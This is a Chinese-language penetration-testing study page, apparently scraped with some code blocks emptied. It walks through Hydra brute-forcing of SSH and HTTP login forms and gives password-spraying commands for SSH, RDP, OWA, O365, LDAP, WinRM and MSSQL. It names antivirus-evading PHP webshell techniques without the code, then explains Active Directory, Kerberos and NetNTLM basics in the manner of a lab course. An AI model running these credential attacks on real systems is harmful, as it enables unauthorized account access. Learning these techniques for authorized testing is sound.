less复制编辑Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-13 03:41:08 |
SSH
如果服务器暴露在互联网上,SSH 暴力破解是一种常见的攻击方式。Hydra 支持多种协议,包括 SSH。可以使用类似的命令进行 SSH 攻击。请注意,密码攻击依赖于高质量的字典文件,以提高破解成功率。
bash |
示例输出:
csharp复制编辑Hydra v8.6 (c) 2017 by van Hauser/THC - 请勿在军事、秘密机构或非法用途下使用。 |
HTTP 登录页面
在此场景中,我们将对 HTTP 登录页面进行暴力破解。首先,需要了解攻击目标的请求类型。使用 Hydra 时,必须明确 HTTP 请求类型(GET 或 POST)。可以使用 hydra http-get-form -U
查看相关选项。
Hydra 针对 http-get-form
选项的基本语法如下:
php-template |
我们需要分析需要发送的 HTTP 请求,可以使用浏览器开发者工具或 Burp Suite 进行分析。
bash |
示例输出:
csharp复制编辑Hydra v8.6 (c) 2017 by van Hauser/THC - 请勿在军事、秘密机构或非法用途下使用。 |
参数解析:
-l admin
指定单个用户名,使用-L
选项可以指定用户名字典文件。-P
指定密码字典文件的完整路径,若要指定单个密码,则使用-p
选项。10.10.x.x
目标的 IP 地址或完整域名(FQDN)。http-get-form
指定 HTTP 请求类型,可选择http-get-form
或http-post-form
。/login-get/index.php
目标 Web 服务器上登录页面的路径。username=^USER^&password=^PASS^
需要暴力破解的参数,^USER^
代表用户名,^PASS^
代表密码,将分别从字典文件中提取值。S=logout.php
指定成功条件,例如成功登录后会出现logout.php
,Hydra 可以据此判断有效凭据。-f
选项在找到有效用户名和密码后立即停止暴力破解攻击。
可以在提供的虚拟机上尝试访问 http://MACHINE_IP/login-get/index.php
进行测试,确保已经部署了虚拟机以回答相关问题。
其他在线密码攻击工具
除了 Hydra 之外,还可以尝试其他在线密码攻击工具,以扩展知识面:
- Medusa
- Ncrack
- 其他工具!
免杀webshell(php)
采用反序列化+自定义加密解密函数绕过+分块加密
<?php |
自定义加解密key+反序列化
<?php |
魔法函数+自定义加解密
<?php |
密码喷洒攻击
SSH
hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10 |
usernames-list.txt是你创建的用户名本
RDP 远程桌面协议
python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026 |
MailSniper
git clone https://github.com/dafthack/MailSniper.git |
SprayingToolkit
🔹 下载 SprayingToolkit
git clone https://github.com/byt3bl33d3r/SprayingToolkit.git |
🔹 安装依赖
pip install -r requirements.txt |
如果 pip
安装失败,尝试:
pip install --break-system-packages -r requirements.txt |
🚀 2. SprayingToolkit 使用示例
SprayingToolkit 主要由多个脚本组成,如 owaSpray.py
、o365Spray.py
、smtpSpray.py
等。
🔹 OWA(Outlook Web Access)密码喷洒
python owaSpray.py -u users.txt -p Winter2024 -d example.com |
📌 参数解析:
-u users.txt
:包含用户名的文件-p Winter2024
:尝试的密码-d example.com
:目标域名
🔹 O365(Office 365)密码喷洒
python o365Spray.py -u users.txt -p Winter2024 --validate |
📌 这个命令会:
- 检测 O365 账户是否存在
- 进行密码喷洒
🔹 LDAP 密码喷洒
python ldapSpray.py -u users.txt -p Winter2024 -d example.com |
📌 适用于 Active Directory 认证的环境。
🔹 WinRM 密码喷洒
python winrmSpray.py -u users.txt -p Winter2024 -d example.com |
📌 适用于 Windows 远程管理(WinRM) 认证测试。
🔹 MSSQL(Microsoft SQL Server)密码喷洒
python mssqlSpray.py -u users.txt -p Winter2024 -d example.com |
📌 用于尝试暴力破解 SQL Server 账户。
Phishing 网络钓鱼
Active Directory 基础知识
Windows 域
想象一下,您管理着一个只有五台计算机和五名员工的小型企业网络。在这样一个小型网络中,您可能能够毫无问题地单独配置每台计算机。您将手动登录每台计算机,为使用它们的任何人创建用户,并为每个员工的帐户进行特定配置。如果用户的计算机停止工作,您可能会去他们那里并现场修理计算机。
虽然这听起来是一种非常轻松的生活方式,但假设您的业务突然发展壮大,现在拥有 157 台计算机和 320 个不同的用户,分布在四个不同的办公室。您是否仍然能够将每台计算机作为单独的实体进行管理,为网络中的每个用户手动配置策略,并为每个人提供现场支持?答案很可能是否定的。
为了克服这些限制,我们可以使用 Windows 域。简而言之,Windows 域是受特定企业管理的一组用户和计算机。域背后的主要思想是将 Windows 计算机网络的通用组件的管理集中在一个名为Active Directory ( AD )的存储库中。运行 Active Directory 服务的服务器称为域控制器 ( DC )。
配置 Windows 域的主要优点是:
- **集中身份管理:**可以轻松从 Active Directory 配置整个网络中的所有用户。
- **管理安全策略:**您可以直接从 Active Directory 配置安全策略,并根据需要将其应用于网络上的用户和计算机。
真实案例
如果这听起来有点令人困惑,那么很可能您已经在学校、大学或工作中的某个时候与 Windows 域进行过交互。
在学校/大学网络中,通常会为您提供一个用户名和密码,您可以在校园内的任何计算机上使用它们。您的凭据对所有计算机都有效,因为每当您在计算机上输入它们时,它都会将身份验证过程转发回 Active Directory,在那里将检查您的凭据。借助 Active Directory,您的凭据不需要存在于每台计算机上,并且可以在整个网络中使用。
Active Directory 也是允许您的学校/大学限制您访问学校/大学机器上的控制面板的组件。策略通常会部署在整个网络中,这样您就不具备这些计算机的管理权限。
Active Directory
Windows 域的核心是 Active Directory 域服务(AD DS)。该服务充当目录,存储着网络中所有“对象”的信息。在 AD 支持的众多对象中,包含 用户、组、计算机、打印机、共享资源 等。让我们来看看其中的一些关键对象:
用户(Users)
用户是 Active Directory 中最常见的对象类型之一。用户属于安全主体(Security Principals),这意味着他们可以通过域进行身份验证,并可被授予访问文件、打印机等资源的权限。可以这样理解:安全主体是能够在网络资源上执行操作的对象。
用户对象可以用于表示两种实体:
- 人员(People): 通常代表组织中的人员,如员工,他们需要访问网络资源。
- 服务(Services): 也可以定义用于特定服务(如 IIS 或 MSSQL)的用户。所有服务都需要用户账户来运行,但服务用户与普通用户不同,它们仅具有运行特定服务所需的权限。
计算机(Machines)
计算机是 Active Directory 中的另一类对象。每当一台计算机加入 Active Directory 域,都会创建一个对应的计算机对象(Machine Object)。计算机同样属于安全主体(Security Principals),并被分配一个账户,与普通用户账户类似,不过其权限相对受限。
计算机账户 本身在分配的计算机上具有本地管理员权限。通常情况下,计算机账户不应被直接访问,除非是该计算机本身使用。但与任何账户一样,如果掌握了计算机账户的密码,就可以利用它进行登录。
注意: 计算机账户的密码是自动轮换的,通常由 120 个随机字符 组成。
识别计算机账户相对简单,它们遵循特定的命名规则:计算机账户的名称是计算机名后面加上 $
符号。例如,名为 DC01 的计算机,其计算机账户名称为 DC01$。
安全组(Security Groups)
如果你熟悉 Windows,你可能知道可以创建用户组,以便为整个组分配文件或其他资源的访问权限,而不是单独为每个用户授予权限。这样可以更方便地管理权限:只需将用户添加到现有组,他们就会自动继承该组的所有权限。
安全组 也属于安全主体(Security Principals),因此,它们可以被授予网络资源的权限。
组的成员 可以是用户,也可以是计算机,甚至可以包含其他组。
在域中,默认会创建多个组,用于授予特定权限。例如,以下是域中的一些重要安全组:
安全组 | 描述 |
---|---|
Domain Admins | 该组的用户拥有整个域的管理权限,默认情况下,他们可以管理域内的任何计算机,包括域控制器(DCs)。 |
Server Operators | 该组的用户可以管理 域控制器(DCs),但不能更改任何管理员组的成员身份。 |
Backup Operators | 该组的用户可以访问任何文件,无视权限限制。此组用于执行计算机数据的备份操作。 |
Account Operators | 该组的用户可以在域中创建或修改其他账户。 |
Domain Users | 包含域内所有用户账户。 |
Domain Computers | 包含域内所有计算机账户。 |
Domain Controllers | 包含域内所有 域控制器(DCs)。 |
你可以在 Microsoft 官方文档 中获取完整的默认安全组列表。
Active Directory 用户和计算机(ADUC)
要在 Active Directory 中配置 用户、组或计算机,需要登录到 域控制器(Domain Controller),然后在 开始菜单 中运行:
“Active Directory Users and Computers”(ADUC)
安全组与 OU
OUs 是一种容器对象,用于对用户和计算机进行分类。
您可能想知道为什么我们同时拥有组和 OU。虽然两者都用于对用户和计算机进行分类,但它们的用途完全不同:
- OU可以方便地 将策略应用于用户和计算机,其中包括根据用户在企业中的特定角色而适用于用户组的特定配置。请记住,用户一次只能成为一个OU的成员,因为尝试将两组不同的策略应用于单个用户是没有意义的。
- 另一方面,安全组用于****授予对资源的权限。例如,如果您想允许某些用户访问共享文件夹或网络打印机,则可以使用组。用户可以是多个组的一部分,这是授予对多个资源的访问权限所必需的。
默认情况下,所有加入域的机器(DC 除外)都将放入名为“Computers”的容器中。如果我们检查DC,我们会看到一些设备已经在那里:
DC:
域控制器是 Active Directory 域中第三大最常见的设备。域控制器允许您管理 Active Directory 域。这些设备通常被视为网络中最敏感的设备,因为它们包含环境中所有用户帐户的哈希密码。
到目前为止,我们只是出于方便的目的将用户和计算机组织在 OU 中,但其背后的主要思想是能够为每个 OU 单独部署不同的策略。这样,我们就可以根据用户所在的部门向他们推送不同的配置和安全基准。
Windows 通过组策略对象 ( GPO ) 管理此类策略。GPO 只是可应用于 OU 的设置集合。GPO 可以包含针对用户或计算机的策略,允许您为特定机器和身份设置基线。
要配置 GPO,您可以使用开始菜单中的组策略管理工具:
打开它时,您首先会看到完整的 OU 层次结构,如前所述。要配置组策略,首先在组策略对象下创建一个 GPO ,然后将其链接到要应用策略的 OU 。例如,您可以看到您的计算机中已经存在一些 GPO:
GPO 通过名为 SYSVOL
的网络共享分发到网络,该共享存储在 DC 中。域中的所有用户通常都应能够通过网络访问此共享,以定期同步其 GPO。SYSVOL 共享默认指向我们网络中每个 DC 上的 C:\Windows\SYSVOL\sysvol\
目录。
https://tryhackme.com/room/winadbasics
身份验证方法
在 Windows 域环境中,所有凭据都存储在 域控制器(Domain Controllers,DC) 中。每当用户尝试使用域凭据认证某项服务时,该服务需要向 域控制器 发送请求,以验证凭据是否正确。在 Windows 域中,网络身份验证可以使用以下两种协议:
- Kerberos:适用于所有较新的 Windows 版本,是现代 Windows 域的默认身份验证协议。
- NetNTLM:一种旧版身份验证协议,主要用于兼容性目的。
尽管 NetNTLM 已被认为过时,但大多数网络仍然同时支持这两种协议。接下来,我们将深入了解这两种协议的工作原理。
Kerberos 身份验证
Kerberos 是 现代 Windows 版本 的默认身份验证协议。用户通过 Kerberos 登录服务时,将会被分配 票据(Tickets)。可以将票据理解为已成功身份验证的证明——拥有有效票据的用户可以向服务出示该票据,以表明其已通过身份验证,从而获得访问权限。
当使用 Kerberos 进行身份验证时,系统会执行以下流程:
- 用户发送身份验证请求
- 用户向 密钥分发中心(Key Distribution Center, KDC) 发送请求,其中包含用户名和时间戳,并使用由其密码派生的密钥进行加密。
- KDC 是 Kerberos 票据的管理服务,通常安装在**域控制器(DC)**上,负责创建和分发 Kerberos 票据。
- KDC 生成并返回票据授予票据(TGT)
- KDC 生成 票据授予票据(Ticket Granting Ticket, TGT),并返回给用户。
- TGT 的作用:允许用户请求访问特定服务的额外票据,从而避免用户每次访问服务时都必须重新输入凭据。
- TGT 的加密与存储机制
- TGT 由 KDC 使用 krbtgt 账户的密码哈希加密,因此用户无法直接访问其内容。
- TGT 的重要性:TGT 内部包含会话密钥(Session Key) 的副本,且 KDC 本身不会存储会话密钥,而是通过解密 TGT 来恢复会话密钥(如果需要)。
当用户希望连接到网络上的某项服务(如共享资源、网站或数据库)时,他们会使用 TGT(票据授予票据) 向 KDC(密钥分发中心) 请求 TGS(服务票据,Ticket Granting Service)。TGS 是一种 专门针对特定服务 的票据,仅允许访问该票据所指定的服务。
为了请求 TGS,用户会发送以下信息:
- 用户名和时间戳(使用 会话密钥(Session Key) 加密)。
- TGT(票据授予票据)。
- SPN(服务主体名称,Service Principal Name),用于指定希望访问的服务及其服务器。
KDC 处理请求后,将返回:
- TGS(服务票据):允许用户访问指定服务的票据。
- 服务会话密钥(Service Session Key):用于与目标服务进行身份验证。
TGS 的加密机制:
- TGS 由 KDC 使用“服务所有者”(Service Owner)的哈希密钥加密。
- 服务所有者 指运行该服务的 用户或计算机账户。
- TGS 内部包含“服务会话密钥”的副本,目标服务可以通过解密 TGS 获取该密钥,以完成身份验证。
然后,TGS(服务票据) 可以被发送到目标服务,以进行身份验证并建立连接。服务将使用其配置账户的 密码哈希 来解密 TGS,并验证 服务会话密钥(Service Session Key) 的有效性。
NetNTLM 身份验证
NetNTLM 采用质询-响应机制。整个过程如下:
客户端向他们希望访问的服务器发送身份验证请求。
服务器生成一个随机数,并将其作为挑战发送给客户端。
客户端将其 NTLM 密码哈希 与该挑战(以及其他已知数据)结合,生成对挑战的响应,并将其发送回服务器进行验证。
服务器将挑战和响应转发到 域控制器 进行验证。
域控制器使用该挑战重新计算响应,并与客户端发送的原始响应进行比较。如果两者匹配,则客户端通过身份验证;否则,访问被拒绝。验证结果将返回给服务器。
服务器将身份验证结果转发给客户端。
请注意,为了安全起见,用户的 密码(或哈希) 永远不会通过网络传输。
注意:上述过程适用于使用 域账户 的情况。如果使用的是 本地账户,服务器可以自行验证对挑战的响应,而无需与域控制器交互,因为它在 SAM(安全账户管理器) 中本地存储了密码哈希。
树、森林和信任关系
到目前为止,我们讨论了如何管理单一域、域控制器的角色以及它如何将计算机、服务器和用户加入域中。
单一域
随着公司发展,网络也会逐渐扩展。对于一个公司来说,开始时使用单一域是足够的,但随着时间推移,一些额外的需求可能会推动你拥有多个域。
树(Trees)
例如,假设你的公司突然扩展到一个新国家。这个新国家有不同的法律和规定,要求你更新 GPO(组策略对象)以符合法规。此外,你现在有了两个国家的 IT 团队,每个 IT 团队需要管理与各自国家相关的资源,而不互相干扰。虽然你可以创建复杂的 OU(组织单位)结构并使用委托来实现这一点,但拥有一个庞大的 AD 结构可能很难管理,并且容易出错。
幸运的是,Active Directory 支持集成多个域,使你可以将网络划分为可以独立管理的单元。如果你有两个共享相同命名空间(例如 thm.local)的域,那么这些域可以合并成一个树结构。
假设我们的 thm.local 域被划分为两个子域,分别是英国(UK)和美国(US)分支,那么你可以构建一个树,根域是 thm.local,两个子域分别为 uk.thm.local 和 us.thm.local,每个子域都有自己的 AD、计算机和用户:
树结构
这种分区结构使我们能更好地控制谁可以访问域中的哪些资源。来自英国的 IT 团队将拥有自己的 DC(域控制器),只管理英国的资源。例如,英国用户无法管理美国用户。通过这种方式,每个分支的域管理员将完全控制各自的 DC,但不能控制其他分支的 DC。每个域也可以独立配置策略。
在讨论树和森林时,需要引入一个新的安全组。企业管理员组(Enterprise Admins) 将授予用户对整个企业所有域的管理员权限。每个域仍然拥有自己的 域管理员(Domain Admins),他们具有对各自单一域的管理员权限,而 企业管理员 则可以控制企业中的一切。
森林(Forests)
你管理的域也可以配置在不同的命名空间中。假设公司继续发展,并最终收购了另一家公司 MHT Inc. 当两家公司合并时,你可能会有不同的域树,每个域树由各自的 IT 部门管理。多个具有不同命名空间的域树合并到同一个网络中,这被称为 森林。
信任关系(Trust Relationships)
在树和森林中组织多个域后,你可以获得更好的管理和资源的隔离网络。但某些时候,位于 THM UK 的用户可能需要访问 MHT ASIA 服务器上的共享文件。为了实现这一点,树和森林中的域之间通过信任关系相互连接。
简单来说,域之间的信任关系使得 THM UK 域的用户能够访问 MHT EU 域的资源。
最简单的信任关系是单向信任。在单向信任关系中,如果 域 AAA 信任 域 BBB,这意味着 域 BBB 中的用户可以被授权访问 域 AAA 中的资源:
信任关系
单向信任关系的方向与访问方向相反。
也可以建立双向信任关系,使得两个域都可以互相授权对方域的用户。默认情况下,将多个域加入同一个树或森林时,会形成双向信任关系。
需要注意的是,域之间建立信任关系并不会自动授予对其他域所有资源的访问权限。一旦建立了信任关系,你可以授权不同域的用户访问资源,但实际授权哪些资源是由你决定的。